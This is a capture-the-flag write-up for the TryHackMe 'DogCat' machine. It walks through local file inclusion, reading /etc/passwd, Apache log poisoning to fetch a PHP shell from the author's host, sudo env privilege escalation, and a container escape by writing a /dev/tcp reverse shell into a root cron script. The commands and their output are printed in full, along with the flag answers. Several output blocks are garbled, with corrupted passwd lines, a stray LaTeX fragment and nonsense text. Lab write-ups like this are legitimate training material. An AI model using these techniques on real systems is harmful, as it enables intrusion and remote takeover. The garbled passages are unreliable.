DogCat CTF Write-Up:

Start with a simple nmap scan:

I go to take a look at the website, and this is a simple application to view dogs/cats pictures using php:



Go buster result:



After trying to abuse the parameter to retrieve a system file I understand two things about the functionality of the php code:

1 -in the url it must include the words cat/dog else it does not retrieve anything:



2 - when I try to bypass this validation I see that it also adds a .php extension to the input



So, using the convert.base64-encode php utility I was able to retrieve the php code of the cat.php and index.php and of course the flag.php as base64 encode:

Decode the retrieved base64 data:

```
<img src="cats/<?php echo rand(1, 10); ?>.jpg" />
```

To retrieve the flag, I need to escape the cat/dog validation so:

```
convert.base64-encode/resource=cat/../flag
convert.base64-encod
```

And finally, to retrieve the index.php to see if I can somehow escape the .php extension:

```
dogcat.thm/?view=Php://filter/convert.base64-encode/resource=cat/../index

sext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

it(isset($_GET["ext"]) / filter/convert.base64-encode/resource=cat/../index
```

In this line it checks if there is a parameter called 'ext' on the url and if not it add '.php' to the parameter.

so I added the parameter 'ext' and get the etc/passwd file:

```
view-source:http://dogcat.thm/?view=cat/../../../etc/passwd&ext=

**a nret='//view=dog'>-outcon 1d='dog'>A dog</button></a> <a nret='//view=0
Here you go!root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
syn:x:3:3:sys:/dev:/usr/sbin/nologin
syn:x:3:3:sys:/dev:/usr/sbin/nologin
syn:x:5:60:games:x/ssides:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
man:x:8:12:man:/var/cache/man:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
backup:x:34:33:33:mw-data:/var/ww/:usr/sbin/nologin
backup:x:34:33:33:mw-data:/var/ww/:usr/sbin/nologin
list:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534::nobody:/nonexistent:/usr/sbin/nologin
apt:x:100:65534::/nonexistent:/usr/sbin/nologin</pre>
```

Unfortunately, there is no useful information in here, so after thinking I decided to try log poisoning:

From the nmap scan I know this is an apache2 server so the log should be at /var/log/apache2/access.log/error.log, I checked and find it:

🚵 view-source:http://dogcat.thm/?view=cat/../../../var/log/apache2/access.log&ext=

So, the log file reflects not only the time and the request but also the user-agent header, so I inject a simple php code that get a file from my host (a php shell to save on the website) using burp to the user-agent header:



Now I start a python http server on my machine and view again the access.log file:

```
(root@ moti-kali)-[~/Desktop/TryHackMe/usefulScripts]
# python3 -m http.server 80
Source WITD on 0.0 0.0 port 80 (http://o.o. 0.000/)
10.10.161.2 - - [16/Apr/2024 12:42:29] "GET /shell.php HTTP/1.1" 200 -
```

And it worked! Now I start a listener and trigger the reverse shell:

```
Q dogcat.thm/shell.php

(root@moti-knii)-[/var/log/apache2]
= nc -nlvp 4242
Listening on [any] 4242 ...
connect to [19.8.41.134] from (UNKNOWN) [10.10.161.2] 40352
Linux 1b4e1c50e678 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux 16:43:27 up 8 min, 0 users, load average: 0.22, 1.22, 0.92
USER TT FROM LOGING IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ whoami
www-data
```

Enumeration the machine starts with the var/www I found the second flag:

```
$ cd /var/www
$ ls -l
total 8
-rw-r--r-- 1 root root 23 Mar 10 2020 flag2_QMW7JvaY2LvK.txt
drwxrwxrwx 4 www-data www-data 4096 Apr 16 16:42 html
$ cat flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}
$ \[
\begin{align*}
\text{THM}{LF1_t0_RC3_aec3fb}
\end{align*}
\]
```

Sudo -l reveal that I can run the env binary as root:

```
$ sudo -l
Matching Defaults entries for www-data on 1b4e1c50e678:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 1b4e1c50e678:
    (root) NOPASSWD: /usr/bin/env
```

GTFOBins suggestion:

```
Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo env /bin/sh
```

And it worked!

```
$ sudo env /bin/bash
whoami
root
```

Retrieve flag3:

```
cd /root
ls
flag3.txt
cat flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}
```

The fourth flag is a bit hard to find and that is because it not in this file system lol... this Is a container environment so to escape it I need to find a way to make the root on the host machine of this container to start a reverse shell from the host, so after viewing the system I found an interesting directory inside /opt called 'backups' contain a script and tar backup file:

```
cd /opt/backups
ls -l
total 2884
-rwxr--r-- 1 root root 60 Mar 10 2020 backup.sh
-rw-r--r-- 1 root root 2949120 Apr 16 16:51 backup.tar
```

Notice the data and time of the tar file I see that it update evey minute so apparently the root of the host is running this script as cronjob, so I change it to get a reverse shell:

```
echo "#!/bin/bash" > backup.sh
echo "bash -i >& /dev/tcp/10.8.41.134/4444 0>&1" >> backup.sh
cat backup.sh
#!/bin/bash
bash -i >& /dev/tcp/10.8.41.134/4444 0>&1
```

Now I start a listener and wait until I got a root shell:

```
(root@ moti-kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.41.134] from (UNKNOWN) [10.10.161.2] 59902
bash: cannot set terminal process group (2510): Inappropriate ioctl for device
bash: no job control in this shell
rootmodogcat:~# whoami
whoami
root
control are the straight and the straight are the
```

Now that I not in the container I can view the last flag!

```
root@dogcat:~# cat flag4.txt
cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
```